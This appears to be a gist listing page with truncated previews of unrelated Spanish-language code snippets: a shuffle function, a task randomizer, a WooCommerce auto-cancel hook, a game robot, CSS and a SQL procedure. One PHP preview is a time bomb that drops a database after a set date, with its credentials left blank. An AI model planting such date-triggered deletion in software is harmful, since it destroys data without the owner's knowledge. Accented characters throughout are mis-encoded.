This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| document.addEventListener("DOMContentLoaded", function(event){ | |
| /* Fisher鈥揧ates shuffle algorithm */ | |
| var shuffle = function (array) { | |
| var currentIndex = array.length; | |
| var temporaryValue, randomIndex; | |
| // While there remain elements to shuffle... | |
| while (0 !== currentIndex) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import random | |
| def randGroups(): | |
| print("Ingresa los nombres de los miembros o grupos separados por comas") | |
| miembros = input() | |
| print("Ingresa las tareas separadas por coma") | |
| tareas = input() | |
| #print("Miembros: ",miembros) | |
| #print("Tareas: ",tareas) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| Cancela las ordenes que exceden 7 d铆as en Woocommerce 3.2.2 esta es la 煤nica forma en la que funcion贸 | |
| */ | |
| function autocancel_wc_orders(){ | |
| $query = array( | |
| 'limit' => -1, /* Todas las 贸rdenes */ | |
| 'status' => array('pending') | |
| ); | |
| $orders = wc_get_orders( $query ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| //Si ya se pas贸 la fecha dropea la DB | |
| if( time() > mktime(h,m,s,mes,dia, a帽o)){ | |
| $ip = ""; | |
| $db = "" | |
| $usr = ""; | |
| $pwd = ""; | |
| $sql = "DROP DATABASE " . $db; | |
| $query = mysql_query($sql); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //FightCode can only understand your robot | |
| //if its class is called Robot | |
| var Robot = function(robot) { | |
| }; | |
| Robot.prototype.onIdle = function(ev) { | |
| var robot = ev.robot; | |
| robot.ahead(100); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <style> | |
| .window_scroll{ | |
| display:block; | |
| width:100%; | |
| height:100%; | |
| overflow: hidden; | |
| } | |
| .window_aside { | |
| display:block; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DELIMITER $$ | |
| DROP PROCEDURE IF EXISTS Insertar $$ | |
| CREATE PROCEDURE Insertar( | |
| IN tipo INT, | |
| IN tablas VARCHAR(1000), | |
| IN columnas VARCHAR(1000), | |
| IN inserciones VARCHAR(1000) | |
| ) | |
| BEGIN |